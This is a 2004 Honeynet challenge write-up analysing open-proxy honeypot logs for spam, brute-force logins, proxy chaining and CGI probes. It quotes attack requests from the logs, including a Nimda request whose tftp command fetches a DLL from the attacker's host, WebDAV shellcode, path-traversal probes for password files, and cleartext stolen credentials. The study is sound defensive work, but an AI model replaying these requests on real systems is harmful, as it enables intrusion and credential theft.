Scan of the Month: Scan 31

Frank Meerkoetter
frank@betaversion.net
April 28, 2004

Contents

1 Introduction

This month's challenge was to analyze a web server log for signs of abuse. The web server was configured as an open proxy. The Apache module mod_security was used to log extensive information about every request. Details about the challenge including the setup of the honeyproxy and its purpose are available at the Honeynet website.

2 Analysis

After downloading apache_logs.tar.gz the md5sum is verified. Next the archive is extracted. It contains the following files:

- *access_log* (42MB): The standard apache access log file. A log entry consists of the client IP, a timestamp, the request, the status code of the action taken and the size of the request.

- *audit_log* (168MB): The log file generated by the mod_security apache module. It contains all of the information already present in *access_log* as well as the HTTP header and the POST payload.
- *error_log* (77MB): The standard apache error log.
- *modsec_debug_log* (0B): Mod_security debug messages (empty).
- *ssl-access_log* (228KB), *ssl-error_log* (772KB): The ssl counterparts to *access_log* and *error_log*. The information contained in these files is also present in the mod_security *audit_log*.
- *ssl_engine_log* (1.2MB): Log messages generated by mod_ssl.
- *ssl_mutex.19660* (0B), *ssl_mutex.953* (0B): Lock files used by *mod_ssl*.
- ssl_request_log (22kKB): Contains nearly the same information as *ssl-access_log*. The only difference is that *ssl_request_log* doesn't contain the status code.
- *upload/*.htm*: Some files which were captured from a spammer who tried to upload them into his web mail account.

While analyzing this case i worked mostly with the *audit_log*. A log entry of *audit_log* spans several lines. The following listing shows a sample:

```
========================================
Request: 195.82.31.125 - - [Tue Mar  9 22:03:09 2004] "GET\
http://www.goldengate.hu/cgi-bin/top/topsites.cgi?an12 \
HTTP/1.0" 200 558
Handler: proxy-server
----------------------------------------
GET http://www.goldengate.hu/cgi-bin/top/topsites.cgi?an12\
HTTP/1.0
Host: www.goldengate.hu
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)

HTTP/1.0 200 OK
Content-Type: text/html
X-Cache: MISS from www.testproxy.net
Connection: close
```

Hence i wrote two perl scripts which work on a granularity of a log-entry instead of single lines. The first script extracts log entries based on regular expressions.

The second script does something alike. It also extracts entries which have matched a regular expression but in addition it extracts all requests coming from the IP from which the matching request was send. These scripts make it very convenient to extract all entries belonging to a certain IP.

2.1 Question 1

"How do you think the attackers found the honeyproxy?"

The two possibilities which are most likely are that they've used a proxy scanner or that they've downloaded a list with proxies from the web (which in effect only means that someone else has found us using a proxy scanner).

For a sample of available scanner tools ask google ("proxy scanner"). Proxy scanners can search net ranges for all kinds of proxies (HTTP, HTTPS, SOCKS).

Web sites providing lists with open proxies are also easily found via google ("proxy list"). I assume that these public lists are used as a launching pad. The proxies from these lists can be used to obscure further scanning.

A third possibility, but less likely is that an attacker has purchased a list with open proxies which included our proxy. At least i've stumbled upon a site advertising such lists for sale.

2.2 Question 2

"What different types of attacks can you identify? For each category, provide just one log example and detail as much info about the attack as possible (such as CERT/CVE/Anti-Virus id numbers). How many can you find?"

1. FormMail.pl: Spammers are using a bug of the FormMail.pl CGI to deliver spam. Several people are using the proxy to further obfuscate the origin of the spam.

```
Request: 67.83.151.132 - - [Wed Mar 10 02:58:19 2004] "POST \
http://www.openoceansurfing.com/cgi-bin/FormMail.pl\
HTTP/1.1" 200 578
Handler: proxy-server
Error: mod_security: Invalid character detected [13]
---------------------------------------
POST http://www.openoceansurfing.com/cgi-bin/FormMail.pl\
HTTP/1.1
Accept: */*
Connection: Close
Content-Length: 462
Content-Type: application/x-www-form-urlencoded
```

```
Host: www.openoceansurfing.com
Proxy-Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98;\
 AIRF; .NET CLR 1.0.3705)
mod_security-action: 200

email=merilynm@paradise.com&realname=merilynm@paradise.com\
&recipient=<ablkmanworthyo@aol.com>www.openoceansurfing.com\
%2C&subject=11%3A57%3A13%20PM%20Hey%20sexy!%20%20%3D)++++++\
++++++++++3y9v&yy6=%0D%0A%0D%0A%0A%0A%0A%0A%0A%0A%0A%0A\
%0D%0A6yhz%0D%0A%0D%0Aablkmanworthyo%20Visit%20http%3A%2F\
%2Fconnect.to%2Ffriendscams%20for%20FREE%20webcams.%20You\
%20wont%20regret%20it!%0D%0A%0A%0A%0A%0A%0A%0A%0D%0A11%3A57\
%3A13%20PM%0D%0A3%2F9%2F2004%0A%0A%0A%0A%0A%0A%0A%0An5c\

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
```

Bugtraq: `http://www.securityfocus.com/bid/3955`

2. Testing the presence of CGIs known to have bugs: The tool used seems to be voideye.

```
Request: 24.127.175.68 - - [Sat Mar 13 14:34:38 2004] "GET\
http://38ee.com/members/index.html/cgi-bin/textcounter.pl;\
Command execution as httpd;by Void; HTTP/1.

Request: 24.127.175.68 - - [Sat Mar 13 14:34:50 2004] "GET\
http://4realswingers.com/members//cgi-bin/websendmail;'passwd'\
retrieve;by Void; HTTP/1.0" 400 373

Request: 24.127.175.68 - - [Sat Mar 13 14:35:03 2004] "GET\
http://SwingForDollars.com/members/cgi-bin/nph-publish;\
File modification;by Void; HTTP/1.0" 400 373
```

```
Request: 24.127.175.68 - - [Sat Mar 13 14:35:32 2004] "GET\
http://5starasians.com/members/pages/index.html/cgi-win/\
uploader.exe;Website 1.x classic;by Void; HTTP/1.0" 400 373
```

3. Banner fraud: Another activity for which the proxy is quiet popular is defrauding so-called "advertising networks". The attacker registers a great number of banners with a series of these advertisers. Normally it is assumed by the advertisers that these banners are placed on a website. When someone clicks the banner the owner of the website gets a small reward.

   The fraud works by requesting scores of banners for which one has registered before. To shield against discovery proxies are used.

```
Request: 61.237.215.17 - - [Wed Mar 10 02:22:54 2004] "GET\
http://xmlrevenue.com/other.php?k=hphahihfhxzmhm[...Code...]\
hscaiss&u=search123&a=redsearch&keywords=car%20parts\
&gen=xmlfeed&gto=zmzfhxhhhazfzohyzizc HTTP/1.0" 302 0

Request: 61.237.215.17 - - [Wed Mar 10 02:22:59 2004] "GET\
http://click.search123.com/cgi-bin/clickthru.cgi?EI=53503&\
Q=car%20parts&NGT=Oz8XD[...Code...]bCgW2uFI7GQDC3VEtajiNkM\
dfo9dFx1rd6H3JZT1KOlaMlNlfA&x=1&IP=192.168.1.103&UID=33174\
HTTP/1.0" 302 352

Request: 61.237.215.17 - - [Wed Mar 10 02:52:33 2004] "POST\
http://www.gravity-search.net/cgi-bin/smartsearch.cgi \
HTTP/1.0" 200 531

Request: 61.237.215.17 - - [Wed Mar 10 02:59:59 2004] "GET\
http://searchpath.net/search.php?ID=144&fString=Digital+Cameras\
HTTP/1.0" 302 0

Request: 61.237.215.17 - - [Wed Mar 10 03:07:02 2004] "GET\
http://www.honey-search.com/cgi-bin/smartsearch/search.cgi?\
keywords=Home-Based&username=gu0000 HTTP/1.0" 200 71
```

4. Nessus scan: 217.160.165.173 does a full scale Nessus scan of our web server (Over 10.000 Requests). Easily recognizable by the UserAgent header.

```
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
```

5. Nimda.E: This attack is directed against the web server itself. The Nimda.E worm uses amongst other things vulnerable IIS web servers to spread. It tries several ways to upload a dll to the server. The sequences always start like in the example below. A more detailed description can be found at http://www.dshield.org/pipermail/intrusions/2001-October/002063.php.

```
Request: 68.50.47.224 - - [Sat Mar 13 06:57:17 2004] "GET \
/scripts/root.exe? /c+dir HTTP/1.0" 200 566
Request: 68.50.47.224 - - [Sat Mar 13 06:58:07 2004] "GET \
/scripts/root.exe? /c+tftp%20-i%2068.50.47.224%20GET%20\
cool.dll%20httpodbc.dll HTTP/1.0" 200 566
Request: 68.50.47.224 - - [Sat Mar 13 06:58:07 2004] "GET \
/scripts/httpodbc.dll HTTP/1.0" 404 288
```

Advisory: http://www.symantec.com/avcenter/venc/data/w32.nimda.e@mm.html

6. IIS/WebDav-Exploit: A worm tries to trigger a buffer overrun at our web server. The target of this exploit are ISS/WebDav servers.

```
68.237.228.160 - - [11/Mar/2004:17:41:29 -0500] "SEARCH /\x90\
\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\
\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\
\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\
\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\
\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\
\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\
\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\
\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\
\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\
xb1\x02\xb1 [... awholelotashellcode ...]\x90\x90\x90\x90\x90\
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
\x90\\x90\x90\x90" 414 345 " -" "-"
```

7. Posting harassing spam on slashdot:

```
POST http://slashdot.org/comments.pl HTTP/1.1
Connection: TE, close
```

```
Content-Length: 6597
Content-Type: application/x-www-form-urlencoded
Host: slashdot.org
Referer: http://slashdot.org/comments.pl?sid=100374&op=Reply
TE: deflate,gzip;q=0.3
User-Agent: Mozilla/5.0
mod_security-action: 200

sid=100374&pid=0&formkey=KhgNM0uvJG&unickname=&upasswd=\
&rlogin=1&postersubj=GNAA+Ported+to+XBOX&postercomment=\
%0A%3Cb%3EGNAA+Ported+to+XBOX%3C%2F[...lots of racist
bullshit...]
```

More attacks are documented while answering the remaining questions.

2.3 Question 3

"Do attackers target Secure Socket Layer (SSL) enabled web servers as their targets? Did they target SSL on our honeyproxy? Why would they want to use SSL? Why didn't they use SSL exclusively?"

Attackers are targeting SSL enabled webservers though our proxy. 13 percent of all request found in the log are CONNECT requests. CONNECT is a HTTP method to create a tunnel through an HTTP proxy.

Quoting the Squid-FAQ:

> "[...]Squid also supports these encrypted protocols by *tunelling* traffic between clients and servers. In this case, Squid can relay the encrypted bits between a client and a server.
>
> Normally, when your browser comes across an https URL, it does one of two things:
>
> - The browser opens an SSL connection directly to the origin server.
> - The browser tunnels the request through Squid with the CONNECT request method.
>
> The CONNECT method is a way to tunnel any kind of connection through an HTTP proxy. The proxy doesn't understand or interpret the contents. It just passes bytes back and forth between the client and server. [...]"

RFC2817 documents the CONNECT method.

Using SSL/TLS has the advantage for the attacker that every proxy only knows the next hop and can't see the actual request. SSL/TLS means end-to-end encryption between an attacker and its target. The proxy can't see the content, it just passes the encrypted data. This is very useful for an attacker because it leaves fewer traces. The suspicious requests aren't observable on every proxy used in a chain.

Another advantage for the attacker is that the attack can't be picked up by an NIDS. An intermediary NIDS can't trigger because it only sees encrypted traffic.

SSL/TLS can't be used exclusively because not all victims feature the comfort of SSL/TLS connections.

Attackers are also using the proxy to establish tunnels to other SSL/TLS enabled services. This log shows a spammer connecting to a SSL/TLS enabled mail server.

```
Request: 61.231.215.76 - - [Thu Mar 11 13:07:27 2004] "CONNECT\
mx.seed.net.tw:25 HTTP/1.0" 200 0
Handler: proxy-server
----------------------------------------
CONNECT mx.seed.net.tw:25 HTTP/1.0

HTTP/1.0 (null)
```

Proxies forwarding SSL/TLS tunnels to arbitrarily ports are especially useful for attackers.

2.4 Question 4

"Are there any indications of attackers chaining through other proxy servers? Describe how you identified this activity. List the other proxy servers identified. Can you confirm that these are indeed proxy servers?"

There are two direct indications of chaining. Some requests have a *HTTP-Via:* header and some have a *HTTP-X-Forwarded-For* header set. Both headers indicate that the requester is a proxy.

Via: is a standard HTTP/1.1 header. It's used to indicate the intermediaries between the user agent and the server. Every intermediary inserts a *Via:* line into the HTTP header of a request.

```
Via: HTTP/1.1 inktomi02 (Traffic-Server/5.2.0-R [cSsNfU])
```

X-Forwarded-For is an non-standard header originally invented by the Squid proxy server (Squid 1.1 Release Notes). It denotes the client IP for which a request was fulfilled. If there is more than one intermediary additional IPs are appended to the original line.

```
X-Forwarded-For: 166.177.50.243
```

The problem with both header types is that they can be easily forged. A user can create HTTP request with any number of these headers trying to pose as an intermediary. Another problem is that not all intermediaries do generate these headers. That is there can by gaps in the header chain or even no headers at all.

These headers are a certain indication that other proxies are involved but should be taken with a grain of salt.

Appendix A contains a list of 344 IPs which could be proxies themselfs.

If we assume that these headers are actually valid we can also assume that attackers are using not only one proxy but rather a great number of proxies. The single requests of an attack are spread over a great number of proxies. The proxy chains used could also be rearranged dynamically. The consequence is that a single proxy log can contain only a piece of the puzzle.

The following log excerpt shows a sequence of request coming from the same IP. All request coming from 202.147.99.36 have the *X-Forwarded-For* header set. This indicates that 202.147.99.36 is a proxy which inserts this header. Please note that the IP for which it forwarded the request is changing. Another thing to note is that the request doesn't seem to relate. A possible conclusion is that these requests are fragments of a session which is distributed over a number of proxies.

```
Request: 202.147.99.36 - - [Thu Mar 11 03:59:02 2004] "GET\
http://service.bfast.com/bfast/serve?bfmid=20904140&siteid\
=41033661&bfpage=mostwanted_rb HTTP/1.0" 200 43
X-Forwarded-For: 195.77.96.142

Request: 202.147.99.36 - - [Thu Mar 11 03:59:02 2004] "GET\
http://www.bmgmusic.com/vendors/befree010804/most_wanted.gif\
HTTP/1.0" 200 10373
X-Forwarded-For: 195.77.96.142

Request: 202.147.99.36 - - [Thu Mar 11 04:04:10 2004] "GET\
http://service.bfast.com/bfast/serve?bfmid=26917872&siteid=\
41033661&bfpage=hawaii_11_03 HTTP/1.0" 200 43
X-Forwarded-For: 204.220.182.151

Request: 202.147.99.36 - - [Thu Mar 11 04:04:16 2004] "GET\
http://media.expedia.com/media/content/expus/associates/ads/\
111503_Exp_Hawaii_468x60.gif HTTP/1.0" 200 14267
X-Forwarded-For: 204.220.182.151
```

```
Request: 202.147.99.36 - - [Thu Mar 11 04:21:18 2004] "GET\
http://lady.tom.com/img/top-1105.jpg HTTP/1.0" 200 7731
X-Forwarded-For: 203.221.37.68
```

Yet another trace of proxy chaining is this User-Agent:

```
User-Agent: ProxyChains 1.8
```

Proxy-Chains is a tool which allows to tunnel arbitrary TCP connections through different kinds of proxies.

2.5 Question 5

"Identify the different Brute Force Authentication attack methods. Can you obtain the clear text username/password credentials? Describe your methods."

There are at least three methods:

- HTTP-GET: This one is an example for a brute force attack on an authentication system based on passing parameters by HTTP-GET. The attacker is trying to brute force yahoo accounts. There is no specific account targeted. Every account is only attacked once. I guess the reason is not to lockup many accounts and thereby raising to much dust. This attack is running over several days.

  Yahoo is using the HTTP GET method to pass usernname and password. Both are readable as clear text within the request string.

```
Request: 24.168.72.174 - - [Sun Mar 14 11:15:03 2004] "GET\
http://edit.europe.yahoo.com/config/login?.redir_from=\
PROFILES?&.tries=1&.src=jpg&.last=&promo=&.intl=us&.bypass=\
&.partner=&.chkP=Y&.done=http://jpager.yahoo.com/jpager/\
pager2.shtml&login=devil_32&passwd=january HTTP/1.0" 200 566
Handler: proxy-server
Error: mod_security: pausing [http://edit.europe.yahoo.com\
/config/login?.redir_from=PROFILES?&amp;.tries=1&amp;.src=\
jpg&amp;.last=&amp;promo=&amp;.intl=us&amp;.bypass=&amp;\
.partner=&amp;.chkP=Y&amp;.done=http://jpager.yahoo.com\
/jpager/pager2.shtml&amp;login=devil_32&amp;passwd=january]\
for 50000 ms
----------------------------------------
GET http://edit.europe.yahoo.com/config/login?.redir_from\
=PROFILES?&.tries=1&.src=jpg&.last=&promo=&.intl=us&\
```

```
.bypass=&.partner=&.chkP=Y&.done=http://jpager.yahoo.com\
/jpager/pager2.shtml&login=devil_32&passwd=january HTTP/1.0
Accept: */*
Accept-Language: en
Connection: Keep-Alive
mod_security-message: Access denied with code 200.\
Pattern match "passwd\=" at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
```

Modsecurity is postponing this request for 50 seconds to take some of the steam out of the brute force attack. Thats the case with all forms of brute force attacks which are identified by modsecurity. Here the identification criteria was the string *passwd=* being part of a request.

- HTTP-POST: The next example shows a part of a brute force attack on a system which uses the HTTP-POST method.

```
Request: 12.202.244.240 - - [Sat Mar 13 12:49:19 2004] "POST\
http://www.allkindsofgirls.com/login.asp?reason=\
denied_bad_password&script_name=/members/loginNow.a
sp HTTP/1.1" 200 578
Handler: proxy-server
Error: mod_security: pausing [http://www.allkindsofgirls.com/\
login.asp?reason=denied_bad_password&amp;script_name=/members/\
loginNow.asp] for 50000 ms
----------------------------------------
POST http://www.allkindsofgirls.com/login.asp?reason=\
denied_bad_password&script_
name=/members/loginNow.asp HTTP/1.1
Connection: close
Content-Length: 30
Content-Type: application/x-www-form-urlencoded
```

```
Cookie: ASPSESSIONIDAQASBQAR=KDDIHIACHEFOHMBCNFNHKNOF
Host: www.allkindsofgirls.com
Pragma: no-cache
Referer: http://www.allkindsofgirls.com/login.asp?reason=\
denied_empty&script_nam
e=/members/sessions/227/
User-Agent: Mozilla/4.73 [en] (Win98; U)
mod_security-message: Access denied with code 200. Pattern\
match "password\=" at
POST_PAYLOAD.
mod_security-action: 200

 USERNAME=JOHN&PASSWORD=HARDON&

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
```

Username and password are both readable as clear text within the POST payload.

- Basic-Authentication: The last example shows a brute force attack on a website protected with HTTP access authentication. HTTP provides a mechanismen by which a client can be challenged by a server. HTTP authentication is defined in RFC2617.

```
Request: 68.189.213.50 - - [Thu Mar 11 18:46:13 2004] "HEAD\
http://www.realfuckingcouples.com/members/ HTTP/1.0" 200 0
Handler: proxy-server
Error: mod_security: pausing \
[http://www.realfuckingcouples.com/members/] for 50000 ms
----------------------------------------
HEAD http://www.realfuckingcouples.com/members/ HTTP/1.0
Accept: */*
```

```
Accept-Language: en-us,en;q=0.5
Authorization: Basic aXNsbmRtc2MyOmNhbGxhaGFu
Cookie: cbid2=-; expires=Fri, 12-Mar-2004 23:45:22 GMT;\
path=/; domain=realfuckingcouples.comcbid2=-; expires=Fri,\
12-Mar-2004 23:45:22 GMT; path=/; domain=realfuckingcouples.com;
Host: www.realfuckingcouples.com
Pragma: no-cache
Referer: http://www.gamespot.com/gamespot/misc/complete/login.html
User-Agent: Mozilla/3.01 ( compatible; MSIE 5.0;\
Windows NT5.0; athome0107 )
mod_security-message: Access denied with code 200. Pattern match\
"Basic" at HEADER.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
```

The server uses the *Basic Authentication* scheme. Username and password are transmitted unencrypted. The only thing that keeps us from reading them is a Base64 transport encoding. The following perl snippet demonstrates how we can access username and password.

```
$ perl -MMIME::Base64 -e 'print MIME::Base64::\
decode(join("",<>)); print "\n"' -
aXNsbmRtc2MyOmNhbGxhaGFu
^D
islndmsc2:callahan
$
```

The tool which is used for the attack generates bogus User-Agent headers for each request.

2.6 Question 6

"What does the Mod_Security error message "Invalid Character Detected" mean? What were the attackers trying to accomplish?"

The Mod_security module has to ability to ensure that only requests containing characters from a certain range are fulfilled. This is done with the *Byte Range Check* option. For further details have a look at the Mod_Security Manual Page 9. This feature is useful in several ways. It can be used to filter

requests containing binary content (eg. shellcode). It is also useful to detect certain attacks and IDS evasion techniques.

This request was caught because the request contained a Null Byte. The attacker tries to play tricks on the perl-interpreter. Phrack 55/7.

```
Request: 217.227.170.183 - - [Sat Mar 13 18:50:25 2004] "HEAD\
http://www.tanita-model.com/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi?\
data_dir=/bin/ls%00 HTTP/1.0" 200 0
Handler: proxy-server
Error: mod_security: Invalid character detected [0]
---------------------------------------
HEAD http://www.tanita-model.com/cgi-bin/pollit/\
Poll_It_SSI_v2.0.cgi?data_dir=/bin/ls%00 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,\
*/*
Host: www.tanita-model.com
Pragma: no-cache
Referer: http://www.tanita-model.com
User-Agent: Mozilla/4.73 ( compatible; [de]; Windows 95;\
NetCaptor )
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
```

The next request also contains a Null Byte. But this time it's an IDS evasion trick. Basicly it hopes that an IDS stops scanning right after the method part. RFP describes this techniques in his paper "A look at whisker's anti-IDS tactics".

```
Request: 217.160.165.173 - - [Fri Mar 12 22:45:41 2004] \
"GET %00.box/../../../../../lotus/domino/notes.ini \
HTTP/1.1" 404 279
Handler: (null)
---------------------------------------
GET %00.box/../../../../../lotus/domino/notes.ini HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,\
image/png, */*
```

```
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
```

The next one is also an IDS evasion technique. A tab is used as a separator between the URI and the HTTP-Version. This could be the try to confuse an IDS by mimicking a HTTP/0.9 request. HTTP/0.9 had only the GET method (HTTP/0.9).

```
Request: 61.98.201.80 - - [Sat Mar 13 09:08:58 2004] "POST
http://www.zotto.tv/L
ogin/LoginRe.asp                          HTTP/1.0" 500 338
Handler: proxy-server
Error: mod_security: Invalid character detected [9]
---------------------------------------
POST http://www.zotto.tv/Login/LoginRe.asp               \
HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, \
image/pjpeg, */*
Content-Length: 65
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONIDSARRCCSS=MGBGDHHANMGLHFPOOABCCLFJ; \
path=/
Host: www.zotto.tv
Pragma: no-cache
Referer: http://www.zotto.tv/default.asp
User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; \
Windows NT)
```

```
uID=0576kkk&uPWD=zaqwsx&uKind=0576kkk&uKind=0576kkk\
&uKind=0576kkk

HTTP/1.0 500 Internal Server Error
Warning: Subject to Monitoring
X-Powered-By: ASP.NET
Content-Length: 338
Content-Type: text/html
Expires: Sat, 13 Mar 2004 14:08:26 GMT
Cache-control: private
X-Cache: MISS from www.testproxy.net
Connection: close
```

Another thing caught by the *Byte Range Check* are people searching for SOCKS proxies. A SOCKS operation has the following format:

```
+----+----+----+----+----+----+----+----+----+----+....+----+
| VN | CD | DSTPORT |      DSTIP        | USERID       |NULL|
+----+----+----+----+----+----+----+----+----+----+....+----+
# of bytes:
  1    1      2              4           variable       1
```

VN is the version number. CD the command code. The first snippet shows a SOCKS4 request, the second shows a SOCKS5 request.

```
 ========================================
Request: 62.234.177.90 - - [Sat Mar 13 18:10:32 2004] \
"^D^A" 501 0
Handler: (null)
Error: mod_security: Invalid character detected [4]
----------------------------------------
^D^A

HTTP/0.9 (null)
Warning: Subject to Monitoring
========================================
Request: 62.234.177.90 - - [Sat Mar 13 18:10:42 2004]\
"^E^A" 501 0
Handler: (null)
Error: mod_security: Invalid character detected [5]
```

```
----------------------------------------
^E^A

HTTP/0.9 (null)
Warning: Subject to Monitoring
```

SOCKS4 is defined by *SOCKS: A protocol for TCP proxy across firewalls* and SOCKS5 by RFC1928.

2.7 Question 7

"Several attackers tried to send SPAM by accessing the following URL – `http://mail.sina.com.cn/cgi-bin/sendmsg.cgi`. They tried to send email with an html attachment (files listed in the /upload directory). What does the SPAM webpage say? Who are the SPAM recipients?"

The spammers are using the web mail service of sina.com. Sina.com is a online company targeting china and the "global chinese community". The recipients are mostly other users of sina.com. The spam is targeted to chinese people. Valid accounts are used to send the spam.

The spam message is written in chinese. As i can't read chinese i've used Babelfish to translate (simplified Chinese to English). It seems that the spam message tries to rise awareness to the prosecution of the Falungong by the chinese government.

2.8 Question 8

"Provide some high level statistics on attackers such as:"

- *Top Ten Attackers*
- *Top Ten Targets*
- *Top User-Agents (Any weird/fake agent strings?)*
- *Attacker correlation from DShield and other sources?*

The following table lists the top 10 users of our honey proxy:

Rank	IP	Number of requests	Comment
1	67.83.151.132	9763	FormMail.pl spammer
2	217.160.165.173	8346	Local nessus scan
3	195.16.40.200	6865	Desperately tries to tunnel icq by CONNECT
4	68.82.168.149	5967	Brute force attack (porn site)
5	81.171.1.165	4290	Tries to steal payment credentials from porn sites.
6	61.144.119.66	3245	
7	68.189.213.50	2984	Brute force attack (porn site)
8	61.249.170.159	2923	Brute force attack (porn site)
9	61.177.91.33	2907	
10	217.162.108.28	2830	Brute force attack (porn site)

The next table shows the 10 most requested targets:

Rank	Number of requests	Target	Comment
1	10928	login.icq.com:443	An icq client desperately trying to connect.
2	4897	http://www.firmhandspanking .com/members/	Porn
3	1550	http://www.sun.com/	
4	1280	http://hpcgi1.nifty.com /trino/ProxyJ/prxjdg.cgi	Are they still after me?
5	1010	http://www.cnpick.com /show.asp	
6	955	/scripts/..	Local nessus scan
7	927	http://www.google.com /search	
8	833	http://members.streetblow /jobs.com/	Porn
9	830	http://www.easynews.com /login/	Usenet News
10	821	http://www.meninpain.com /members/	Porn

The most popular target is login.icq.com:443. This target is blocked by mod_security. An icq client is nonetheless desperately trying to connect.

A common pattern is that many users of the proxy start their session by trying to verify their level of anonymity by visiting a website which displays their HTTP header (ProxyJudge.cgi/prxjdg.cgi/...).

The pornsites and the easynews.com have a high ranking because they are targeted by brute force attacks.

There are 204466 requests overall coming from 3908 different IP addresses. A strange thing is that 110230 different User-Agent strings can be found. The reason for this is that some of the brute force tools dynamically generate *User-Agent* strings, so there is a great number of fake User-Agents.

The next table is a breakdown by request type. It can be observed that tunneling with CONNECT is quiet popular.

Method	Total number of request	Percent of all requests
GET	119901	59
HEAD	37542	18
CONNECT	27529	13
POST	16550	8
SOCKS4/5 (not HTTP)	460	0.2
TRACE/PUT/OPTIONS/...	104	0

I've also performed a query on dshield.org against the top 10 percent of the attackers.

20 of these 300 IPs were also listed on dshield.org. The dshield records for these IPs are listed in appendix B. The following table lists these IPs and for what purpose they've used our proxy:

IP	Comment
12.214.6.125	Brute force attack (porn)
193.226.6.229	
195.238.52.1	Brute force attack (porn)
202.205.89.188	
203.93.63.245	Scam (requesting banners)
208.190.202.194	Brute force attack (Yahoo)
211.167.236.157	
217.85.77.155	Brute force attack (porn)
218.22.141.172	Scam (requesting banners)
219.72.254.18	Scam (requesting banners)
221.7.192.11	
4.10.252.182	Brute force attack (Yahoo)
61.177.79.92	
61.179.12.117	
61.179.12.118	Scam (requesting banners)
61.187.14.197	
61.237.215.17	Scam (requesting banners
66.36.242.145	
68.48.142.117	Nimda.E
69.41.243.42	Spammer

2.9 Bonus Question

"Why do you think the attackers were targeting pornography websites for brute force attacks? (Besides the obvious physical gratification scenarios):"

Porn sites are a target because the attackers are searching for credit card numbers. The porn sites use CC numbers for payment and as an age verification mechanismen.

It can be observed that a great number of payment systems are targeted explicitly (Netbilling/EuroDebit/iBill/EPoch). The attackers have a certain knowledge about which files can be expected where for a certain payment system. They than try to exploit insufficient permissions or misconfigured web servers.

There are for instance over 4000 such request coming from 81.171.1.165 and targeting mostly payment systems of porn sites.

```
HEAD http://www.lvpanty.com//cgibin/addpinuser.cgi\
HTTP/1.0
HEAD http://www.lvpanty.com//ccbill7/secure/ccbill.log\
HTTP/1.0" 404 0
```

```
HEAD http://www.penthouse.com/ccbill/secure/ccbill.log\
HTTP/1.0" 302 0
[...]
HEAD http://www.penthouse.com/ccbill2/password/\
.htpassfile HTTP/1.0
HEAD http://www.playboynet.playboy.com/cgi-bin/\
ccpass/passwords/.htpasswd  HTTP/1.0
```

"Even though the proxypot's IP/Hostname was obfuscated from the logs, can you still determine the probable network block owner?"

Sorry, i can't answer this question.

A Proxies

These 344 IPs are suspected to be proxy servers themselfs.

```
137.118.192.151
137.118.192.152
140.116.142.32
140.116.163.201
140.131.1.42
145.254.70.34
172.143.200.64
172.179.141.143
172.181.34.106
172.208.22.44
172.209.201.200
195.161.118.212
195.174.194.54
195.5.58.1
195.82.27.11
195.82.27.23
195.82.27.46
195.82.31.113
195.82.31.67
200.40.244.133
202.101.150.100
202.109.116.209
202.147.99.36
202.212.249.2
203.189.246.142
203.43.237.3
203.77.209.35
```

210.21.209.251
210.49.12.237
210.53.201.151
210.53.201.152
210.53.201.153
210.53.201.154
210.53.201.155
210.53.201.156
210.53.201.157
210.53.201.158
210.53.201.159
210.53.201.160
210.53.201.161
210.53.201.162
210.53.201.163
210.53.201.164
210.53.201.165
210.77.109.112
211.158.126.117
211.161.36.130
211.197.165.67
211.197.165.68
211.39.141.103
212.160.136.163
213.233.102.237
213.54.181.132
213.54.63.229
213.59.170.195
216.127.74.127
217.204.41.131
217.228.214.79
217.228.216.89
217.235.11.73
217.235.115.253
217.235.12.154
217.235.7.100
217.235.8.109
217.235.8.159
217.235.9.108
217.85.103.217
217.96.185.129
218.0.16.234
218.10.151.196
218.10.185.136
218.10.185.204
218.10.185.205

218.10.185.7
218.10.40.18
218.10.74.151
218.10.74.177
218.11.112.192
218.11.13.35
218.11.157.1
218.11.157.46
218.115.148.81
218.2.187.199
218.2.202.54
218.2.202.98
218.21.81.147
218.21.81.162
218.21.83.16
218.21.86.247
218.21.89.224
218.22.141.172
218.23.87.129
218.23.87.71
218.23.87.79
218.24.111.12
218.242.112.115
218.246.236.64
218.29.56.234
218.5.208.37
218.56.8.160
218.68.219.231
218.68.245.28
218.69.202.171
218.7.44.111
218.7.44.188
218.7.44.239
218.7.44.5
218.71.165.101
218.72.133.97
218.72.135.189
218.72.187.112
218.72.187.60
218.72.209.89
218.72.211.114
